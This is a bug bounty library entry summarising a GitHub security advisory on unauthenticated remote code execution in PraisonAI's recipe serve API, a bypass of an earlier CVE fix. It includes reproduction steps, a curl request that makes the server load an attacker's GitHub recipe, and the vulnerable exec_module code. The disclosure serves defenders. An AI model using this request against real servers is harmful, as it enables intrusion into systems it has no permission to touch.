# PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)

PraisonAI recipe runner exec_module's attacker-supplied tools.py from local path or GitHub repo, giving unauthenticated RCE via POST /v1/recipes/run.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by: everping
- Disclosed: 2026-05-06
- CVE: CVE-2026-44334
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-xcmw-grxf-wjhj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xcmw-grxf-wjhj
- Tags: area:ai domain:ai domain:web impact:rce kind:research platform:ghsa sev:high tech:python tech:rest technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** PraisonAI recipe serve API (/v1/recipes/run) and template tool loader
**Root cause:** CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS in tool_resolver.py and api/call.py but missed a third sink in templates/tool_override.py, which exec_module's template_dir/tools.py unconditionally on every recipe execution.
**Steps:**
1. Install vulnerable version: `pip install 'praisonai[serve]==4.6.31'`
2. Start server with default auth none: `praisonai.recipe.serve.create_app({})` on 127.0.0.1:8765
3. Create evil_recipe/ with minimal TEMPLATE.yaml (workflow.steps: []) and tools.py payload writing a marker file
4. POST `{"recipe":"<abs path to evil_recipe>"}` to `/v1/recipes/run`
5. Alternatively push recipe to public GitHub and POST `{"recipe":"github:<owner>/<repo>/<recipe>"}`
6. Observe marker file written by server PID despite 500 response
**How found:** Noticed CVE-2026-40287's fix added the env gate in only two files (tool_resolver.py, api/call.py) and audited for other load_from_file/exec_module sinks, finding tool_override.py's create_tool_registry_with_overrides unpatched and reachable from the recipe runner.
**Exploitation:** Unauthenticated POST to /v1/recipes/run with recipe pointing at attacker-controlled local path or GitHub repo; server fetches repo (allow_any_github defaults True), validates dir keeping .py, then exec_module's tools.py during registry construction before any LLM step, executing arbitrary code in server process.
**Insight:** When a patch gates a dangerous sink by env var, grep for every other call site of the same primitive (here load_from_file/exec_module) — incomplete fixes routinely miss parallel import paths reached by different features like the recipe runner.

## Proof of concept (copied exactly from the original report)

**curl POST to /v1/recipes/run with GitHub recipe**

```
curl -X POST http://target:8765/v1/recipes/run \
     -H 'Content-Type: application/json' \
     -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'
```

**Unguarded exec_module sink in tool_override.py**

```
332    cwd_tools_py = Path.cwd() / "tools.py"
333    if cwd_tools_py.exists():
334        try:
335            tools = loader.load_from_file(str(cwd_tools_py))   # <-- exec_module
336            registry.update(tools)
337        except Exception:
338            pass
339
341    # 4. Template-local tools.py
342    if template_dir:
343        tools_py = Path(template_dir) / "tools.py"
344        if tools_py.exists():
345            try:
346                tools = loader.load_from_file(str(tools_py))   # <-- exec_module
347                registry.update(tools)
348            except Exception:
349                pass

`load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate.
```

**Local reproduction commands**

```
pip install 'praisonai[serve]==4.6.31'

# Terminal 1
python server.py

# Terminal 2
python exploit.py
```

